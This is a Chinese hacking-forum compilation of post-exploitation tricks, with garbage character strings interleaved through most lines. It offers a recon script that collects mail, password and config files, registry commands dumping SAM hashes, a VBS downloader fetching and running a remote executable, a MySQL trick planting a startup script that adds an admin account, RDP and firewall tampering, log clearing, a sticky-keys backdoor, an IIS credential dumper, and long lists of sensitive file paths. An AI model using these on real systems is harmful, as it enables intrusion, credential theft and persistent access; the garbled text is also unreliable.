4 k, p& R" a3 S" o6 L' Z1 ?' S* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
, W- {3 c' R- ]/ x, }4 Z  x
5 l8 j7 d+ B" |1 D% t, G0 @1 e（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
, S( ]2 ]) M1 i4 z% f1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
* X9 L& ]0 c# \7 M" salzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
7 ]& ]4 G) _- x6 O( K( n- u注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
2 n+ W$ C# y  [0 W* v" m若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
# J! w# U8 J/ t* i0 g* `}  
8 e* t" Y" D( c1 n6 @2 ?
提权先执行systeminfo
1 V5 S1 x3 A( x& o- htoken 漏洞补丁号 KB956572
Churrasco          kb952004
" d" ?, j- j' }3 ?命令行RAR打包~~·
" J1 M9 s/ h( S" Nrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
8 P( F/ u4 D- H2 l6 m. ]for window：
1 a/ }; O" ?: m# w1 Q& g
( e1 c! j* }8 I. D2 \" b4 d  |@echo off
$ |  E. P, F4 |7 {6 `8 E8 `echo #########system info collection
+ S, @! M- t, P8 r, ksysteminfo
$ U! ~% ~* Q: f/ o! U, _ver
hostname
net user
. L) E9 x' t6 Q; S  \3 c2 Vnet localgroup
net localgroup administrators
: Q2 U" I& U; y$ H8 l4 anet user guest
1 Z: Z. b0 A$ jnet user administrator
3 A" _7 G, t: l% e  x7 K
echo #######at- with   atq#####
% P+ i! m3 _0 m- eecho schtask /query

echo
7 E' Y  }9 R6 g4 l) Becho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
) j- p( ]  m" `: c9 d  F, m, c; Eipconfig/all
% z" \0 k8 R0 d: L' p  E: S2 {route print
* g; q. F# ~8 h  o* a0 N1 \# aarp -a
9 t: G* v- h! I8 J% o( w/ pnetstat -anipconfig /displaydns
echo
echo #######service############
4 f; Z6 U5 |) E& osc query type= service state= all
. y1 S$ [& P0 w4 q, {7 lecho #######file-##############
% x3 w% W0 N! T3 b& `) pcd \
* R/ E% q" p) h9 z7 Htree -F
. Z' \% r* W2 m' t. [7 wfor linux：

#!/bin/bash
9 f1 ?* W; ^1 ^4 h
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
4 G! ?0 t1 R0 P1 z6 G+ i- R: Eecho #######basic infomation##
cat /proc/meminfo
# N/ m: D+ t  e& m+ j# Decho
cat /proc/cpuinfo
% x5 K/ F* S- A1 e) secho
rpm -qa 2>/dev/null
, d, A2 w% r8 o& K4 @6 A######stole the mail......######
' p# s+ p0 \) J& n3 ?$ f; a2 d3 y% _cp -a /var/mail /tmp/getmail 2>/dev/null


$ B- l+ ]3 {7 _$ Cecho 'u'r id is' `id`
echo ###atq&crontab#####
6 o' F- S# W0 D- ^2 U2 z% c1 ?atq
crontab -l
) d% J9 Q9 c. z& Q2 z! `echo #####about var#####
# ^( D: ]8 ^6 iset
# B: Q, o9 I! p
3 j" p$ s/ w% recho #####about network###
+ p; J8 |: J/ x/ J) h####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
- K' Y4 d* [) ]/ f5 J; b+ Hipconfig -a
' O# [+ x- Z% d$ f: parp -v
echo ########user####
( A( Z% F& J1 Z9 q# G/ r  Icat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
! j  f. J, x, V% r. U# mcat /etc/passwd|grep -i $i
* Q" h  L4 s( j# Z  s. G% Bdone

2 N4 P+ ?* R( m: ?locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
8 R, _+ m8 {7 c$ q- Nsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
" H2 e4 G/ l$ ?# D+ v7 vsleep 5
! g4 v: s& L3 [  g
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
# v8 j# b- v, c4 f7 K               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
4 @' M2 b3 Q! M  X  }/ qecho sGet.Type = 1 >>c:\windows\cftmon.vbs
0 _" P7 N4 f0 [$ d; N- E- gecho sGet.Open() >>c:\windows\cftmon.vbs
  }& _6 u# P( a1 a: Q  Xecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
: A! C: m9 C2 R9 Kecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
0 q( ?' B4 U- t5 k
9 f+ ?. n. S3 \1 W+ q+ V6 X8 A1 w2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
  Y# R9 z  J8 W) q2 q1 G; `s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
! [. Q  X) t6 O3 q" R7 t3 DSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

8 A$ J* s( e; u0 u" u* ]0 Mcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
, L( y  I/ t, L/ S6 J
7 A0 ?) t4 Q/ t8 N, d, q当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
$ ?) S2 N* a) a3 j9 g. x  E2 n- t5、
' E5 Q! e  T! M0 Y  b3 E2 v1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
- A: W( B+ s8 ]$ l& N7 e2.开启XP&2003终端服务
/ I; i. g( A! q  XREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3 Q* H% p6 V  `5 b- B3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
2 ?2 U# d. s& N% ~REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
7 e6 C! J- E: z5 ], h% v. t# a4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
6 m6 B& ?+ P- M4 J8 vREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
9 K9 ]/ c- t! G0 }————————————————
; W3 H, k  c: u3 n- B* E6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
& _- k3 O. M- L- ~% [, x1 j. ginsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
0 T/ q# k  y" _7 l5 \- o# ]) R————————————————————
2 c- v+ X3 P4 _+ [) l# `7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
7 l* U2 K6 G0 d9 x: T2 x_____
8、for /d %i in (d:\freehost\*) do @echo %i
# ]# y" a7 a" \+ G  R6 l1 U/ C1 X
0 S3 D# T# S+ t5 f9 x列出d的所有目录
9 `. k# j+ s  U# W! C( E" t2 F  
  for /d %i in (???) do @echo %i
3 I4 O1 P: H9 b' |9 _! T
把当前路径下文件夹的名字只有1-3个字母的打出来

/ q2 {3 ~; s3 [5 ^/ H$ m2.for /r %i in (*.exe) do @echo %i
4 V: c7 E0 t0 o0 e; s  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

" m3 B, u+ K  E( S% b8 qfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

+ [" H! v. r$ m7 _3.for /f %i in (c:\1.txt) do echo %i
  
4 Z, E) m/ A+ ~5 p) f1 A  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
# B, ?$ P/ C! K1 K3 w
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

+ Y  ]+ h. t0 t! c% b1 R  delims=后的空格是分隔符 tokens是取第几个位置
——————————
: r! _0 o' K2 ]●注册表:
  ^! M9 J7 r. [6 n- d1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
3 e/ U$ d' P7 W
. `" j1 x* W2 d+ k2.修改3389的默认端口:
/ D! Q9 B9 ?* \6 v0 l7 Z' ^5 ^3 YHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
1 q2 x1 @# x4 P3 X0 ^' C
3.清除3389登录记录:
7 B* g3 P0 c5 O: |1 P1 Oreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
+ j* }7 V9 a4 b# b' W
8 y0 v4 w+ K+ V( h9 l5 L$ ^4.Radmin密码:
  [% p/ E/ B$ `$ Y1 `7 e. Dreg export HKLM\SYSTEM\RAdmin c:\a.reg
5 }. u8 c3 L% l7 m- F$ q# u8 e2 Z
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
- s9 @  Z. d7 ]$ |: z9 K; m' t或者
netsh ipsec dynamic set config ipsecexempt value=0
: B" N4 O6 f$ x3 Q
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

8 u. S' }; y  k+ a* T( u8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
4 ]% P, ?/ t' @1 M/ B0 Freg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
' J% G4 G: f/ @$ l; b( Preg save hklm\security c:\security.hive

! `! k7 P3 s" c* f! ~, H  u10.shift映像劫持
! j3 p0 v6 i2 I9 X8 c' B( N+ E( Xreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

# c& t+ K& \! O1 K% n& h& T5 oreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
1 H7 @7 X, M: [/ k# c星外vbs(注：测试通过，好东西）
( J3 {8 M3 v5 x* ~% h: G3 A' Z' l" ~Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
! p( `/ r8 i8 N& Y# F1 i2 A- P9 p" o  Dif IsNumeric(childObjectName)=true then
9 d5 f8 g* Q+ J2 ^+ H, Hset IIs=objservice.GetObject("IIsWebServer",childObjectName)
. `% w, [* G  z) P- B( e2 hif err.number<>0 then
( E" p  A6 r# bexit for
% {. a+ ]* y0 }msgbox("error!")
: L2 _) C& ?; @4 ^5 gwscript.quit
+ g2 o% j8 r; w, B& z. B* l- aend if
  Y% v/ w2 i; x* M1 k, rserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
& n) y0 v2 X* U; B8 ^0 J- B$ tuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
6 A. S9 g$ F- |; Y4 \, _. r& Spath=IIsWeb.path
' X$ O7 {0 b2 X- P% t) `" K7 Dlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
  H$ A2 S2 y' x- f8 `/ ONext
# v% G2 B' w: Twscript.echo list
Set ObjService=Nothing
2 r0 Q2 @  ?( E  P- D' x0 Rwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
8 w5 E. q% l- ^4 ?0 l* }& y1 m  T复制代码
& c" v- H& G" a----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
9 O" l0 y9 E& }. a2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
9 }( u. ~0 v. O6 \3 y) ~& y2 a<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
) q2 n# i4 k. p8 A; G2 x</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
$ P3 }: e1 x6 l4 p; U* {$ iPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
- L% U% @7 V# i5 U( U. @9 ]asp代码，利用的时候会出现登录问题
& @) i7 L$ ]. R1 Y2 P 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
3 `6 l, @0 a8 {  r/ v url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
LINUX常见路径：

. M: V4 J8 w5 \* n- F% W7 k/etc/passwd
: X* R# t0 D& M/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
) d' [4 t. |2 U2 w4 {6 Y/etc/ld.so.conf
% J/ b2 g) T4 o3 h. q; g( X8 T/var/www/htdocs/index.php
/var/www/conf/httpd.conf
+ ^; V  r3 O4 ?! I, P) n% d, H/var/www/htdocs/index.html
  \! C( ~! {1 ?( A  l( n9 S/var/httpd/conf/php.ini
3 ?/ C- D* u' w3 X- J/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
  e8 _! M$ F! P) D  P/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
% S9 J; z9 T5 {) R: [- S7 S/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
5 E5 Z* _( g' Q" d4 r/opt/www/htdocs/index.html
5 {- n& E0 s6 w* {6 Y/ u4 g* ]* p, G( i/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
0 M1 j8 [1 I+ U/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
( F$ a: O8 a7 [8 s5 o* i2 E9 m+ t7 }/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
7 j# E  f4 C: @, n4 J; V8 Q/tmp/apache/htdocs/index.php
- K: L" q6 h, ?+ q/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
9 U* m- i. |, E: h" X4 d/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
8 r, G( X0 y! z6 B# h7 }, y( l* k/www/htdocs/index.php
/www/htdocs/index.html
7 F- @$ k$ O  i$ [9 e- S; j/usr/local/httpd/conf/httpd.conf
* ?9 L/ f- f4 U/apache/apache/conf/httpd.conf
7 k0 W( D6 \/ o! O. V, [/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
6 K& _: L+ z7 e4 T# j* O& T6 p/etc/apache2/apache.conf
- k' _9 s- ~6 g# g& e/etc/apache/httpd.conf
9 f, T) v9 _  q6 V) Y* o4 W/etc/apache2/httpd.conf
1 G! V* n5 G/ c; ]5 p6 b, V/etc/apache2/vhosts.d/00_default_vhost.conf
; l( |- ^& R+ e9 n" K: b, L/etc/apache2/sites-available/default
) `+ g( `! V7 W/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
6 ]; m& z: P* X) n/etc/httpd/conf.d/php.conf
5 K- Q* c- j' f' v% W; Z& E! E. L/etc/httpd/conf.d/httpd.conf
" k. O7 ~: }; d; l/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
# s9 y& [& K& }" x/etc/httpd/logs/access_log
1 o1 `" T: h5 W* L/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
7 n5 v+ U! ?' C9 ]' L$ R- o/var/log/apache/error_log
  k* R6 c# z9 M5 M/ K9 c! h# ]  k! l/var/log/apache/error.log
) p) r2 |; ^) W/ ^9 U/var/log/apache/access_log
) \3 V$ A7 B* Q! h  C0 D/var/log/apache/access.log
" _% g# s' K% z8 ^7 X9 F) R" }/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
! c7 p" z& V0 |$ M/var/www/logs/error.log
! T7 u2 e, F/ P3 P3 A1 [/var/www/logs/access_log
2 L4 Q1 H( T) B; G/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
' H$ Y* e+ G9 {% l8 v) L/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
! e& x* B* S; K/var/log/access_log
/var/log/access.log
# R* X% X( u2 _4 p/usr/local/apache/logs/access_logaccess_log.old
" ]0 I- u% `5 E4 S! Y% @- h7 ^/usr/local/apache/logs/error_logerror_log.old
& i  p# `( [, l: A9 k0 I) G( I/etc/php.ini
5 V) \0 f0 p6 u5 w, |, Z) S  O/bin/php.ini
/etc/init.d/httpd
" b% ?) |1 S& k0 O" V1 p& a/etc/init.d/mysql
- A5 p/ {. _4 F  _7 M/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
- x+ N$ J3 L; f% B/usr/local/etc/php.ini
# A+ w2 o: W4 L3 l( ?# g2 N/usr/local/lib/php.ini
2 Z  j* q$ Q; D" s5 \# n1 @/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
7 Y1 z# s9 J, U6 M2 v8 R/usr/local/php4/php.ini
9 X# Z' N5 ^. y  l/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
9 H* y0 r& L% a. ~, I) u/usr/local/php5/php5.ini
, x. k; R, j0 C# L/usr/local/apache/conf/php.ini
8 ?" t9 m6 k1 z# k9 i/ M- n' t/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
3 O. C' L- n" H' _  ?$ Z/usr/local/apache2/conf/php.ini
2 B+ G7 n4 m/ v' D& ]% R/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
, Y7 r1 D$ F/ Q; _/etc/php4/apache2/php.ini
1 Y0 J5 ]  D. T. ^5 f% L/etc/php5/apache/php.ini
; _; B& o8 A6 C+ ~/etc/php5/apache2/php.ini
/etc/php/php.ini
: ]8 R3 O2 J8 I1 A/ m" e' E/etc/php/php4/php.ini
% h  ]) _7 s4 _% m. ~/ ~7 {' d5 ]/etc/php/apache/php.ini
/etc/php/apache2/php.ini
; J7 `* I0 I  H9 F" K/web/conf/php.ini
3 C5 j( r; K) v2 S# ~# q% F: g/usr/local/Zend/etc/php.ini
+ J) t  P7 s& \2 A1 T5 n/opt/xampp/etc/php.ini
% ~1 h  _5 l. o; j3 J/var/local/www/conf/php.ini
2 c' H, B% n5 t5 a0 N/var/local/www/conf/httpd.conf
7 {; t- V8 L" }8 |  [( z3 S/etc/php/cgi/php.ini
4 D/ J# x( X; `9 H( j6 {; M9 m/etc/php4/cgi/php.ini
  M# z# b* }) @  G0 `( f/etc/php5/cgi/php.ini
/php5/php.ini
! \) C% o% v. `/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
) p& x& b) C1 X. m9 _( `/NetServer/bin/stable/apache/php.ini
! m& [0 o$ }. s6 D; c- n! N/home2/bin/stable/apache/php.ini
5 S( n& c: G+ S4 L/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
' A7 I9 z# ?( S. X; M/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/ v2 p, k6 D' X0 N6 O5 v) A/usr/local/mysql/bin/mysql
% }7 F4 Z% O: i0 [" Z5 p/etc/mysql/my.cnf
/etc/my.cnf
2 k* H! R+ I" E7 \" [; q$ Y/usr/local/cpanel/logs
: }! w7 w9 \& F" U' E% _/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
8 \- w" T3 x2 ?% y0 x/usr/local/share/examples/php/php.ini
6 A9 B& `" a3 {! m# f
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
- J( r. F( N, H* L# |8 \
" z) [5 Z- n' |c:\windows\php.ini
8 k6 H: p7 o/ B# @  z4 Oc:\boot.ini
! x* E. ~, W5 O0 S- A8 }$ {c:\1.txt
6 P  Q! M) P- ~c:\a.txt
6 l: c. @) `& Q
4 o( d. k$ Y0 H( y8 f8 u$ hc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
  a# v1 _9 a0 z5 Q1 v6 z2 l4 ~* Qc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
; n! D, Y1 G+ l/ z  tC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
4 s9 ^4 L# w4 T/ i, w+ MC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
. A6 ~7 [* C/ H, w- y
* l, X1 N. V  n/ ]c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
( \5 @  l) a& w. A) Y6 N
: \( i5 P$ |" i, z' h* ~4 o7 f4 @C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
+ ~6 d4 }/ V) ~2 |; v+ dc:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
& E0 l! }+ y3 |c:\website\index.html
c:\web\index.asp
) _! W" C5 g- Ic:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
* h& S( t' A6 J  h1 p# X. Oc:\web\index.php
  P! s% ?" G$ d  h7 _c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
5 K6 n. q3 f, q0 y6 Tc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
$ x0 ~: ]4 \" B* @c:\www\default.asp
. j% _1 g' O: @* hc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
) {8 T; J; @5 }& p! j/ j4 Zc:\www\default.php
1 x" n* Y" \! w4 Dc:\WWWROOT\default.php
c:\WWWsite\default.php
# m: {, H/ a7 S, L, ~C:\Inetpub\wwwroot\pagerror.gif
( ~, u' B' M; t6 P- R$ g! tc:\windows\notepad.exe
c:\winnt\notepad.exe
* D' \2 s% G/ \! g( G8 MC:\Program Files\Microsoft Office\OFFICE10\winword.exe
& ]) i0 w/ L; k0 O, k7 J; f3 qC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
$ _/ m. `1 b0 k8 FC:\Program Files\winrar\rar.exe
% o. T2 K# Y* c! g( d* KC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
+ Q9 Q7 v8 w  V2 U4 wC:\Documents and Settings\All Users\Start Menu\desktop.ini
$ Q' T7 I3 q  P3 ~C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
( D/ m% u  V6 Z  EC:\Documents and Settings\Administrator\My Documents\1.txt
- S4 _1 P- L. s. Z% TC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
0 @) M& t) Q0 n0 \: o. B) PC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
7 z4 X2 K. R: b6 r3 u; n) j3 X( WE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
' I" \; E  l# J$ k0 yC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
- t5 V0 _! {* G: |) _4 p) YC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
( Y' X- q5 g# d, }! Y! oC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
* P" z5 s1 N2 ]1 q$ y* W4 N1 aC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
$ e, M: [. [: w* N& r" pC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
- p# q1 |. l: s1 oC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
0 j* s  M6 x5 B8 a+ V0 R% t6 R+ ]# AC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
! \4 b" P- y# UC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
; K4 N3 Q% F; x' ^" ~; Qc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
" }  n( E* n: x# pC:\Program Files\Oracle\oraconfig\Lpk.dll
& y7 `) ~' r# W  w. }C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
8 ]* T/ h+ a% e/ R. P9 @; zC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
0 a* O# I* _- q* J" }C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
: P# D, I* }2 q% NC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
+ b5 n, M6 S2 i' |) o* gc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
( l8 o8 x: S. R5 w. n( @, Bc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
